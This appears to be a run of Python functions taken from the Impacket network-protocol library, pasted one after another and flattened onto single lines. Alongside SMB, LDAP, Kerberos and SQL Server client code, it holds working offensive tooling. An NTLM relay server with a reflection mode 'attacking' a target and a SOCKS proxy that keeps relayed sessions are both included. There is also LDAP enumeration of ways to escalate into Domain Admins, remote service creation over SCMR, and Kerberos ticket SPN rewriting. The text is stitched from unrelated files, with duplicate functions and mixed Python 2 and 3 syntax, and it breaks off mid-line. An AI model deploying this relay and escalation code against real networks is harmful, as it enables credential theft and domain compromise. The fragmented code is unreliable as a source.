def __init__(self, remoteName='', remoteHost='', myName = None, sess_port = 445, timeout=60, preferredDialect = None, existingConnection = None): self._SMBConnection = 0 self._dialect = '' self._nmbSession = 0 hostType = nmb.TYPE_SERVER if existingConnection is not None: # Existing Connection must be a smb or smb3 instance assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3)) self._SMBConnection = existingConnection return ##preferredDialect = smb.SMB_DIALECT if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(myName, remoteName, remoteHost, sess_port, timeout) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, session = self._nmbSession ) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout, session = self._nmbSession, negPacket = packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(remoteName, remoteHost, myName, hostType, sess_port, timeout) elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: self._SMBConnection = smb3.SMB3(remoteName, remoteHost, myName, hostType, sess_port, timeout, preferredDialect = preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise
def openFile(self, treeId, pathName, desiredAccess = FILE_READ_DATA | FILE_WRITE_DATA, shareMode = FILE_SHARE_READ, creationOption = FILE_NON_DIRECTORY_FILE, creationDisposition = FILE_OPEN, fileAttributes = FILE_ATTRIBUTE_NORMAL, impersonationLevel = SMB2_IL_IMPERSONATION, securityFlags = 0, oplockLevel = SMB2_OPLOCK_LEVEL_NONE, createContexts = None): """ opens a remote file :param HANDLE treeId: a valid handle for the share where the file is to be opened :param string pathName: the path name to open :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: pathName = string.replace(pathName, '/', '\\') ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() ntCreate['Data'] = smb.SMBNtCreateAndX_Data() ntCreate['Parameters']['FileNameLength']= len(pathName) ntCreate['Parameters']['AccessMask'] = desiredAccess ntCreate['Parameters']['FileAttributes']= fileAttributes ntCreate['Parameters']['ShareAccess'] = shareMode ntCreate['Parameters']['Disposition'] = creationDisposition ntCreate['Parameters']['CreateOptions'] = creationOption ntCreate['Parameters']['Impersonation'] = impersonationLevel ntCreate['Parameters']['SecurityFlags'] = securityFlags ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = pathName if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code())
def do_shares(self, line): if self.loggedIn is False: LOG.error("Not logged in") return resp = self.smb.listShares() for i in range(len(resp)): print((resp[i]['shi1_netname'][:-1]))
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle']
def initConnection(self): self.connect() #This is copied from tds.py resp = self.preLogin() if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: LOG.debug("Encryption required, switching to TLS") # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4, AES256') tls = SSL.Connection(ctx,None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data,0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16*1024-1 self.tlsSocket = tls self.resp = resp return True
def sendReceive(data, host, kdcHost): if kdcHost is None: targetHost = host else: targetHost = kdcHost messageLen = struct.pack('!i', len(data)) LOG.debug('Trying to connect to KDC at %s' % targetHost) try: af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, 88, 0, socket.SOCK_STREAM)[0] s = socket.socket(af, socktype, proto) s.connect(sa) except socket.error as e: raise socket.error("Connection error (%s:%s)" % (targetHost, 88), e) s.sendall(messageLen + data) recvDataLen = struct.unpack('!i', s.recv(4))[0] r = s.recv(recvDataLen) while len(r) < recvDataLen: r += s.recv(recvDataLen-len(r)) try: krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) except: return r if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: raise krbError return r
def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] ) self.activeRelays = {} self.socksPlugins = {} self.restAPI = None self.activeConnectionsWatcher = None self.supportedSchemes = [] SocketServer.TCPServer.allow_reuse_address = True SocketServer.TCPServer.__init__(self, server_address, handler_class) # Let's register the socksplugins plugins we have from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS for relay in SOCKS_RELAYS: LOG.info('%s loaded..' % relay.PLUGIN_NAME) self.socksPlugins[relay.PLUGIN_SCHEME] = relay self.supportedSchemes.append(relay.PLUGIN_SCHEME) # Let's create a timer to keep the connections up. self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self) # Let's start our RESTful API self.restAPI = Thread(target=webService, args=(self, )) self.restAPI.daemon = True self.restAPI.start() # Let's start out worker for active connections self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, )) self.activeConnectionsWatcher.daemon = True self.activeConnectionsWatcher.start()
def getTag(self, tagNum): if self.record['FirstAvailablePageTag'] < tagNum: LOG.error('Trying to grab an unknown tag 0x%x' % tagNum) raise tags = self.data[-4*self.record['FirstAvailablePageTag']:] baseOffset = len(self.record) for i in range(tagNum): tags = tags[:-4] tag = tags[-4:] if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192: valueSize = unpack('<H', tag[:2])[0] & 0x7fff valueOffset = unpack('<H',tag[2:])[0] & 0x7fff tmpData = list(self.data[baseOffset+valueOffset:][:valueSize]) pageFlags = ord(tmpData[1]) >> 5 tmpData[1] = chr(ord(tmpData[1]) & 0x1f) tagData = "".join(tmpData) else: valueSize = unpack('<H', tag[:2])[0] & 0x1fff pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13 valueOffset = unpack('<H',tag[2:])[0] & 0x1fff tagData = self.data[baseOffset+valueOffset:][:valueSize] #return pageFlags, self.data[baseOffset+valueOffset:][:valueSize] return pageFlags, tagData
def decode(self, aBuffer): i = ImpactPacket.IP(aBuffer) self.set_decoded_protocol ( i ) off = i.get_header_size() end = i.get_ip_len() # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len if end == 0: LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size') i.set_ip_len(len(aBuffer)) end = i.get_ip_len() if i.get_ip_p() == ImpactPacket.UDP.protocol: self.udp_decoder = UDPDecoder() packet = self.udp_decoder.decode(aBuffer[off:end]) elif i.get_ip_p() == ImpactPacket.TCP.protocol: self.tcp_decoder = TCPDecoder() packet = self.tcp_decoder.decode(aBuffer[off:end]) elif i.get_ip_p() == ImpactPacket.ICMP.protocol: self.icmp_decoder = ICMPDecoder() packet = self.icmp_decoder.decode(aBuffer[off:end]) elif i.get_ip_p() == ImpactPacket.IGMP.protocol: self.igmp_decoder = IGMPDecoder() packet = self.igmp_decoder.decode(aBuffer[off:end]) else: self.data_decoder = DataDecoder() packet = self.data_decoder.decode(aBuffer[off:end]) i.contains(packet) return i
def do_rm(self, filename): if self.tid is None: LOG.error("No share selected") return f = ntpath.join(self.pwd, filename) file = f.replace('/','\\') self.smb.deleteFile(self.share, file)
def hBaseRegQueryValue(dce, hKey, lpValueName, dataLen=512): request = BaseRegQueryValue() request['hKey'] = hKey request['lpValueName'] = checkNullString(lpValueName) retries = 1 # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception while True: try: request['lpData'] = b' ' * dataLen request['lpcbData'] = dataLen request['lpcbLen'] = dataLen resp = dce.request(request) except DCERPCSessionError as e: if retries > 1: LOG.debug('Too many retries when calling hBaseRegQueryValue, aborting') raise if e.get_error_code() == system_errors.ERROR_MORE_DATA: # We need to adjust the size dataLen = e.get_packet()['lpcbData'] continue else: raise else: break # Returns # ( dataType, data ) return resp['lpType'], unpackValue(resp['lpType'], resp['lpData'])
def validatePrivileges(self, uname, domainDumper): # Find the user's DN membersids = [] sidmapping = {} privs = { 'create': False, # Whether we can create users 'createIn': None, # Where we can create users 'escalateViaGroup': False, # Whether we can escalate via a group 'escalateGroup': None, # The group we can escalate via 'aclEscalate': False, # Whether we can escalate via ACL on the domain object 'aclEscalateIn': None # The object which ACL we can edit } self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) user = self.client.entries[0] usersid = user['objectSid'].value sidmapping[usersid] = user.entry_dn membersids.append(usersid) # The groups the user is a member of self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) LOG.debug('User is a member of: %s' % self.client.entries) for entry in self.client.entries: sidmapping[entry['objectSid'].value] = entry.entry_dn membersids.append(entry['objectSid'].value) # Also search by primarygroupid # First get domain SID self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) domainsid = self.client.entries[0]['objectSid'].value gid = user['primaryGroupId'].value # Now search for this group by SID self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) group = self.client.entries[0] LOG.debug('User is a member of: %s' % self.client.entries) # Add the group sid of the primary group to the list sidmapping[group['objectSid'].value] = group.entry_dn membersids.append(group['objectSid'].value) controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Also get the privileges on the default Users container entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) # Interesting groups we'd like to be a member of, in order of preference interestingGroups = [ '%s-%d' % (domainsid, 519), # Enterprise admins '%s-%d' % (domainsid, 512), # Domain admins 'S-1-5-32-544', # Built-in Administrators 'S-1-5-32-551', # Backup operators 'S-1-5-32-548', # Account operators ] privs['escalateViaGroup'] = False for group in interestingGroups: self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass']) groupdata = self.client.response self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) if privs['escalateViaGroup']: # We have a result - exit the loop break return (usersid, privs)
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if (target in server.activeRelays) is not True: server.activeRelays[target] = {} if (port in server.activeRelays[target]) is not True: server.activeRelays[target][port] = {} if (userName in server.activeRelays[target][port]) is not True: LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName]['protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme else: LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def transferResponse(self): data = self.relaySocket.recv(self.packetSize) headerSize = data.find(EOL+EOL) headers = self.getHeaders(data) try: bodySize = int(headers['content-length']) readSize = len(data) # Make sure we send the entire response, but don't keep it in memory self.socksSocket.send(data) while readSize < bodySize + headerSize + 4: data = self.relaySocket.recv(self.packetSize) readSize += len(data) self.socksSocket.send(data) except KeyError: try: if headers['transfer-encoding'] == 'chunked': # Chunked transfer-encoding, bah LOG.debug('Server sent chunked encoding - transferring') self.transferChunked(data, headers) else: # No body in the response, send as-is self.socksSocket.send(data) except KeyError: # No body in the response, send as-is self.socksSocket.send(data)
def get_address(self): address = get_bytes( self.buffer, 5, self.get_address_length() ) if self.get_protocol()==AddressDetails.PROTOCOL_IP: return socket.inet_ntoa(address) else: LOG.error("Address not IP") return address
def sendReceive(data, host, kdcHost): if kdcHost is None: targetHost = host else: targetHost = kdcHost messageLen = struct.pack('!i', len(data)) LOG.debug('Trying to connect to KDC at %s' % targetHost) s = socket.socket() s.connect((targetHost, 88)) s.sendall(messageLen + data) recvDataLen = struct.unpack('!i', s.recv(4))[0] r = s.recv(recvDataLen) while len(r) < recvDataLen: r += s.recv(recvDataLen-len(r)) try: krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) except: return r if krbError.getErrorCode() != constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value: raise krbError return r
def do_rmdir(self, path): if self.tid is None: LOG.error("No share selected") return p = ntpath.join(self.pwd, path) pathname = p.replace('/','\\') self.smb.deleteDirectory(self.share, pathname)
def toTGS(self, newSPN=None): tgs_rep = TGS_REP() tgs_rep['pvno'] = 5 tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value) tgs_rep['crealm'] = self['server'].realm['data'] # Fake EncryptedData tgs_rep['enc-part'] = noValue tgs_rep['enc-part']['etype'] = 1 tgs_rep['enc-part']['cipher'] = '' seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1) ticket = types.Ticket() ticket.from_asn1(self.ticket['data']) if newSPN is not None: if newSPN.upper() != str(ticket.service_principal).upper(): LOG.debug('Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN) ) ticket.service_principal = types.Principal(newSPN, type=int(ticket.service_principal.type)) seq_set(tgs_rep,'ticket', ticket.to_asn1) cipher = crypto._enctype_table[self['key']['keytype']]() tgs = dict() tgs['KDC_REP'] = encoder.encode(tgs_rep) tgs['cipher'] = cipher tgs['sessionKey'] = crypto.Key(cipher.enctype, str(self['key']['keyvalue'])) return tgs
def hBaseRegEnumValue(dce, hKey, dwIndex, dataLen=256): request = BaseRegEnumValue() request['hKey'] = hKey request['dwIndex'] = dwIndex retries = 1 # We need to be aware the size might not be enough, so let's catch ERROR_MORE_DATA exception while True: try: # Only the maximum length field of the lpValueNameIn is used to determine the buffer length to be allocated # by the service. Specify a string with a zero length but maximum length set to the largest buffer size # needed to hold the value names. request.fields['lpValueNameIn'].fields['MaximumLength'] = dataLen*2 request.fields['lpValueNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = dataLen request['lpData'] = b' ' * dataLen request['lpcbData'] = dataLen request['lpcbLen'] = dataLen resp = dce.request(request) except DCERPCSessionError as e: if retries > 1: LOG.debug('Too many retries when calling hBaseRegEnumValue, aborting') raise if e.get_error_code() == system_errors.ERROR_MORE_DATA: # We need to adjust the size retries +=1 dataLen = e.get_packet()['lpcbData'] continue else: raise else: break return resp
def initConnection(self): self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) self.authTag = self.session._new_tag() LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) if 'AUTH=NTLM' not in self.session.capabilities: LOG.error('IMAP server does not support NTLM authentication!') return False return True
def run(self): while True: mtime = os.stat(self.targetprocessor.filename).st_mtime if mtime > self.lastmtime: LOG.info('Targets file modified - refreshing') self.lastmtime = mtime self.targetprocessor.readTargets() time.sleep(1.0)
def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception, e: LOG.error('Exception in HTTP request handler: %s' % e) LOG.debug(traceback.format_exc())
def do_use(self,line): if self.loggedIn is False: LOG.error("Not logged in") return self.share = line self.tid = self.smb.connectTree(line) self.pwd = '\\' self.do_ls('', False)
def skipAuthentication(self): LOG.debug('Wrapping client connection in TLS/SSL') self.wrapClientConnection() if not HTTPSocksRelay.skipAuthentication(self): # Shut down TLS connection self.socksSocket.shutdown() return False return True
def handle_one_request(self): try: http.server.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception as e: LOG.debug("Exception:", exc_info=True) LOG.error('Exception in HTTP request handler: %s' % e)
def getUserInfo(self, domainDumper, samname): entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) try: dn = self.client.entries[0].entry_dn sid = self.client.entries[0]['objectSid'] return (dn, sid) except IndexError: LOG.error('User not found in LDAP: %s' % samname) return False
def onecmd(self,s): retVal = False try: retVal = cmd.Cmd.onecmd(self,s) except Exception as e: import traceback traceback.print_exc() LOG.error(e) return retVal
def readTargets(self): try: with open(self.filename,'r') as f: self.originalTargets = [] for line in f: target = line.strip() if target is not None: self.originalTargets.extend(self.processTarget(target, self.protocolClients)) except IOError, e: LOG.error("Could not open file: %s - " % (self.filename, str(e)))
def initConnection(self): self.session = smtplib.SMTP(self.targetHost,self.targetPort) # Turn on to debug SMTP messages # self.session.debuglevel = 3 self.session.ehlo() if 'AUTH NTLM' not in self.session.ehlo_resp: LOG.error('SMTP server does not support NTLM authentication!') return False return True
def __init__(self, url, baseDN='', dstIp=None): """ LDAPConnection class :param string url: :param string baseDN: :param string dstIp: :return: a LDAP instance, if not raises a LDAPSessionError exception """ self._SSL = False self._dstPort = 0 self._dstHost = 0 self._socket = None self._baseDN = baseDN self._messageId = 1 self._dstIp = dstIp if url.startswith('ldap://'): self._dstPort = 389 self._SSL = False self._dstHost = url[7:] elif url.startswith('ldaps://'): self._dstPort = 636 self._SSL = True self._dstHost = url[8:] elif url.startswith('gc://'): self._dstPort = 3268 self._SSL = False self._dstHost = url[5:] else: raise LDAPSessionError(errorString="Unknown URL prefix: '%s'" % url) # Try to connect if self._dstIp is not None: targetHost = self._dstIp else: targetHost = self._dstHost LOG.debug('Connecting to %s, port %d, SSL %s' % (targetHost, self._dstPort, self._SSL)) try: af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0] self._socket = socket.socket(af, socktype, proto) except socket.error as e: raise socket.error('Connection error (%s:%d)' % (targetHost, 88), e) if self._SSL is False: self._socket.connect(sa) else: # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) # ctx.set_cipher_list('RC4') self._socket = SSL.Connection(ctx, self._socket) self._socket.connect(sa) self._socket.do_handshake()
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): connData = smbServer.getConnectionData(connId, checkStatus=False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor( singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget() LOG.info( "SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) respPacket = smb3.SMB2Packet() respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR respPacket['Status'] = STATUS_SUCCESS respPacket['CreditRequestResponse'] = 1 respPacket['Command'] = smb3.SMB2_NEGOTIATE respPacket['SessionID'] = 0 if isSMB1 is False: respPacket['MessageID'] = recvPacket['MessageID'] else: respPacket['MessageID'] = 0 respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED if isSMB1 is True: # Let's first parse the packet to see if the client supports SMB2 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) dialects = SMBCommand['Data'].split(b'\x02') if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 else: # Client does not support SMB2 fallbacking raise Exception('SMB2 not supported, fallbacking') else: respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 respSMBCommand['ServerGuid'] = b(''.join( [random.choice(string.ascii_letters) for _ in range(16)])) respSMBCommand['Capabilities'] = 0 respSMBCommand['MaxTransactSize'] = 65536 respSMBCommand['MaxReadSize'] = 65536 respSMBCommand['MaxWriteSize'] = 65536 respSMBCommand['SystemTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['ServerStartTime'] = getFileTime( calendar.timegm(time.gmtime())) respSMBCommand['SecurityBufferOffset'] = 0x80 blob = SPNEGO_NegTokenInit() blob['MechTypes'] = [ TypesMech[ 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] ] respSMBCommand['Buffer'] = blob.getData() respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) respPacket['Data'] = respSMBCommand smbServer.setConnectionData(connId, connData) return None, [respPacket], STATUS_SUCCESS
def parseRow(self, token, tuplemode=False): # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types # help would be appreciated ;) if len(token) == 1: return 0 row = [] if tuplemode else {} origDataLen = len(token['Data']) data = token['Data'] for col in self.colMeta: _type = col['Type'] if (_type == TDS_NVARCHARTYPE) |\ (_type == TDS_NCHARTYPE): #print "NVAR 0x%x" % _type charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = data[:charLen].decode('utf-16le') data = data[charLen:] else: value = 'NULL' elif (_type == TDS_BIGVARCHRTYPE): charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = data[:charLen] data = data[charLen:] else: value = 'NULL' elif (_type == TDS_GUIDTYPE): uuidLen = ord(data[0]) data = data[1:] if uuidLen > 0: uu = data[:uuidLen] value = uuid.bin_to_string(uu) data = data[uuidLen:] else: value = 'NULL' elif (_type == TDS_NTEXTTYPE) |\ (_type == TDS_IMAGETYPE) : # Skip the pointer data charLen = ord(data[0]) if charLen == 0: value = 'NULL' data = data[1:] else: data = data[1 + charLen + 8:] charLen = struct.unpack('<L', data[:struct.calcsize('<L')])[0] data = data[struct.calcsize('<L'):] if charLen != 0xFFFF: if _type == TDS_NTEXTTYPE: value = data[:charLen].decode('utf-16le') else: value = binascii.b2a_hex(data[:charLen]) data = data[charLen:] else: value = 'NULL' elif (_type == TDS_TEXTTYPE): # Skip the pointer data charLen = ord(data[0]) if charLen == 0: value = 'NULL' data = data[1:] else: data = data[1 + charLen + 8:] charLen = struct.unpack('<L', data[:struct.calcsize('<L')])[0] data = data[struct.calcsize('<L'):] if charLen != 0xFFFF: value = data[:charLen] data = data[charLen:] else: value = 'NULL' elif (_type == TDS_BIGVARBINTYPE) |\ (_type == TDS_BIGBINARYTYPE): charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = binascii.b2a_hex(data[:charLen]) data = data[charLen:] else: value = 'NULL' elif (_type == TDS_DATETIM4TYPE) |\ (_type == TDS_DATETIMNTYPE) |\ (_type == TDS_DATETIMETYPE): value = '' if _type == TDS_DATETIMNTYPE: # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and # datetime SQL data _types respectively. if ord(data[0]) == 4: _type = TDS_DATETIM4TYPE elif ord(data[0]) == 8: _type = TDS_DATETIMETYPE else: value = 'NULL' data = data[1:] if (_type == TDS_DATETIMETYPE): # datetime is represented in the following sequence: # * One 4-byte signed integer that represents the number of days since January 1, 1900. Negative # numbers are allowed to represents dates since January 1, 1753. # * One 4-byte unsigned integer that represents the number of one three-hundredths of a second # (300 counts per second) elapsed since 12 AM that day. dateValue = struct.unpack('<l', data[:4])[0] data = data[4:] if dateValue < 0: baseDate = datetime.date(1753, 1, 1) else: baseDate = datetime.date(1900, 1, 1) timeValue = struct.unpack('<L', data[:4])[0] data = data[4:] elif (_type == TDS_DATETIM4TYPE): # Small datetime # 2.2.5.5.1.8 # Date/Times # smalldatetime is represented in the following sequence: # * One 2-byte unsigned integer that represents the number of days since January 1, 1900. # * One 2-byte unsigned integer that represents the number of minutes elapsed since 12 AM that # day. dateValue = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] timeValue = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] baseDate = datetime.date(1900, 1, 1) if value != 'NULL': dateValue = datetime.date.fromordinal( baseDate.toordinal() + dateValue) hours, mod = divmod(timeValue / 300, 60 * 60) minutes, second = divmod(mod, 60) value = datetime.datetime(dateValue.year, dateValue.month, dateValue.day, hours, minutes, second) elif (_type == TDS_INT4TYPE) |\ (_type == TDS_MONEY4TYPE) |\ (_type == TDS_FLT4TYPE): #print "INT4" value = struct.unpack('<l', data[:struct.calcsize('<l')])[0] data = data[struct.calcsize('<l'):] elif (_type == TDS_FLTNTYPE): valueSize = ord(data[:1]) if valueSize == 4: fmt = '<f' elif valueSize == 8: fmt = '<d' data = data[1:] if valueSize > 0: value = struct.unpack(fmt, data[:valueSize])[0] data = data[valueSize:] else: value = 'NULL' elif _type == TDS_MONEYNTYPE: valueSize = ord(data[:1]) if valueSize == 4: fmt = '<l' elif valueSize == 8: fmt = '<q' data = data[1:] if valueSize > 0: value = struct.unpack(fmt, data[:valueSize])[0] if valueSize == 4: value = float(value) / math.pow(10, 4) else: value = float(value >> 32) / math.pow(10, 4) data = data[valueSize:] else: value = 'NULL' elif _type == TDS_BIGCHARTYPE: #print "BIGC" charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] value = data[:charLen] data = data[charLen:] elif (_type == TDS_INT8TYPE) |\ (_type == TDS_FLT8TYPE) |\ (_type == TDS_MONEYTYPE): #print "DATETIME" value = struct.unpack('<q', data[:struct.calcsize('<q')])[0] data = data[struct.calcsize('<q'):] elif (_type == TDS_INT2TYPE): #print "INT2TYPE" value = struct.unpack('<H', (data[:2]))[0] data = data[2:] elif (_type == TDS_DATENTYPE): # date is represented as one 3-byte unsigned integer that represents the number of days since # January 1, year 1. valueSize = ord(data[:1]) data = data[1:] if valueSize > 0: dateBytes = data[:valueSize] dateValue = struct.unpack('<L', '\x00' + dateBytes)[0] value = datetime.date.fromtimestamp(dateValue) data = data[valueSize:] else: value = 'NULL' elif (_type == TDS_BITTYPE) |\ (_type == TDS_INT1TYPE): #print "BITTYPE" value = ord(data[:1]) data = data[1:] elif (_type == TDS_NUMERICNTYPE) |\ (_type == TDS_DECIMALNTYPE): valueLen = ord(data[:1]) data = data[1:] value = data[:valueLen] data = data[valueLen:] precision = ord(col['TypeData'][1]) scale = ord(col['TypeData'][2]) if valueLen > 0: isPositiveSign = ord(value[0]) if (valueLen - 1) == 2: fmt = '<H' elif (valueLen - 1) == 4: fmt = '<L' elif (valueLen - 1) == 8: fmt = '<Q' else: # Still don't know how to handle higher values value = "TODO: Interpret TDS_NUMERICNTYPE correctly" number = struct.unpack(fmt, value[1:])[0] number /= math.pow(precision, scale) if isPositiveSign == 0: number *= -1 value = number else: value = 'NULL' elif (_type == TDS_BITNTYPE): #print "BITNTYPE" valueSize = ord(data[:1]) data = data[1:] if valueSize > 0: if valueSize == 1: value = ord(data[:valueSize]) else: value = data[:valueSize] else: value = 'NULL' data = data[valueSize:] elif (_type == TDS_INTNTYPE): valueSize = ord(data[:1]) if valueSize == 1: fmt = '<B' elif valueSize == 2: fmt = '<h' elif valueSize == 4: fmt = '<l' elif valueSize == 8: fmt = '<q' else: fmt = '' data = data[1:] if valueSize > 0: value = struct.unpack(fmt, data[:valueSize])[0] data = data[valueSize:] else: value = 'NULL' elif (_type == TDS_SSVARIANTTYPE): LOG.critical("ParseRow: SQL 